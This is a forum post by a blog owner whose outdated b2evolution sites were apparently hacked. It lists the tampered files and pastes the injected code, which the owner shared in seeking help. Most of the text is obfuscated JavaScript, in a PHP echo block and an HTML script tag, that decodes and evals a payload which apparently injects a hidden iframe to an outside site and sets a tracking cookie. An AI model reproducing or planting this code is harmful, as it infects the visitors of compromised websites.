In all likelihood I was hacked because I haven't upgraded from an early 4x and 3.3.2 (former on one site, latter on two other sites) all residing on the one host. (Yes well I didn't like 4x version so I wanted to stay with the earlier ones... sigh...) However, because I don't know much about hacks and what to look for in terms of problem areas, I'm posting this info to see if anyone has any more info/ideas/suggestions of what went wrong.

And yes, I am checking the usual stuff, but at the moment it doesn't look like my computer has a virus or anything like that. All my config files are set to 444 permissions, with the rest being at 644, and 755 for the media folder. No sign of help from my web host which suggests it's not a server issue.

Files hacked:
default.php
/cron/index.html
/htsrv/index.html
/htsrv/login.php
/inc/index.html
/locales/index.html
/media/index.html
/media/users/index.html
/media/users/admin/pics
/media/blogs/index.html
/rsc/index.html
all files in rsc/js
/skins/index.html
/skins/_410_stats_gone.main.php
/skins/_404_blog_not_found.main.php
/skins/_403_referer_spam.main.php
/skins/skin name/index.main.php, and some other files like single.main, etc
/skins_adm/conferror
/skins_adm/index.html
/skins_adm/access denied
/skins_adm/login
/xmlsrv/index.html
Some other non-b2evo html files in root that I used for placeholders and/or old info

And files added in root:
FtLy234n.php
zwxvr4Dh.php

This is the copy of what was added, some were javascript and some were placed in the php files.

#4f57d2#
if(empty($not)) {
$not = "<script type=\"text/javascript\" language=\"javascript\" >szt=\"s\"+\"p\"+\"li\"+\"t\";uec=window;cqb=\"dy\";naoos=document;apxzzr=\"0x\";kyfdr=(5-3-1);try{++(naoos.body)}catch(qndo){guapu=false;try{}catch(mtvof){guapu=21;}
if(1){mmlv=\"17:5d:6c:65:5a:6b:60:66:65:17:63:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:63:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:63:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:5a:60:6b:70:6a:5a:58:67:5c:6a:63:58:65:5b:6a:5a:58:67:60:65:5e:25:5a:66:64:26:44:5b:64:69:39:2f:48:5a:25:67:5f:67:1e:32:4:1:17:63:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:63:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:30:2e:27:28:1e:32:4:1:17:63:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:30:2e:27:28:67:6f:1e:32:4:1:17:63:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:30:2e:27:28:67:6f:1e:32:4:1:17:63:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:30:2e:27:28:1e:32:4:1:17:63:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:30:2e:27:28:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:63:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:63:53:1e:17:5a:63:58:6a:6a:34:53:1e:63:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:63:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:63:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:63:27:30:1f:20:32:4:1:74:4:1:74\"[szt](\":\");}uec=mmlv;smq=[];for(uhz=22-20-2;-uhz+1379!=0;uhz+=1){czpirh=uhz;if((0x19==031))smq+=String[\"fromCharCode\"](eval(apxzzr+uec[1*czpirh])+0xa-kyfdr);}pqul=eval;pqul(smq)}</script>";
echo $not;
}

#/4f57d2#

<!--4f57d2--><script type="text/javascript" language="javascript" >fqtwn="s"+"p"+"li"+"t";svqgfs=window;clek="dy";eyudec=document;jqh="0x";rfqrl=(5-3-1);try{++(eyudec.body)}catch(ekgnkr){tgobje=false;try{}catch(ziaid){tgobje=21;}
if(1){neyf="17:5d:6c:65:5a:6b:60:66:65:17:62:68:5f:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:62:68:5f:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:62:68:5f:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:5a:60:6b:70:6a:5a:58:67:5c:6a:63:58:65:5b:6a:5a:58:67:60:65:5e:25:5a:66:64:26:44:5b:64:69:39:2f:48:5a:25:67:5f:67:1e:32:4:1:17:62:68:5f:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:62:68:5f:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2e:2b:1e:32:4:1:17:62:68:5f:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2e:2b:67:6f:1e:32:4:1:17:62:68:5f:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2e:2b:67:6f:1e:32:4:1:17:62:68:5f:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2e:2b:1e:32:4:1:17:62:68:5f:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2e:2b:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:62:68:5f:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:62:68:5f:53:1e:17:5a:63:58:6a:6a:34:53:1e:62:68:5f:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:62:68:5f:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:62:68:5f:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:62:68:5f:27:30:1f:20:32:4:1:74:4:1:74"[fqtwn](":");}svqgfs=neyf;oekd=[];for(vjf=22-20-2;-vjf+1399!=0;vjf+=1){guje=vjf;if((0x19==031))oekd+=String["fromCharCode"](eval(jqh+svqgfs[1*guje])+0xa-rfqrl);}udabgd=eval;udabgd(oekd)}</script><!--/4f57d2-->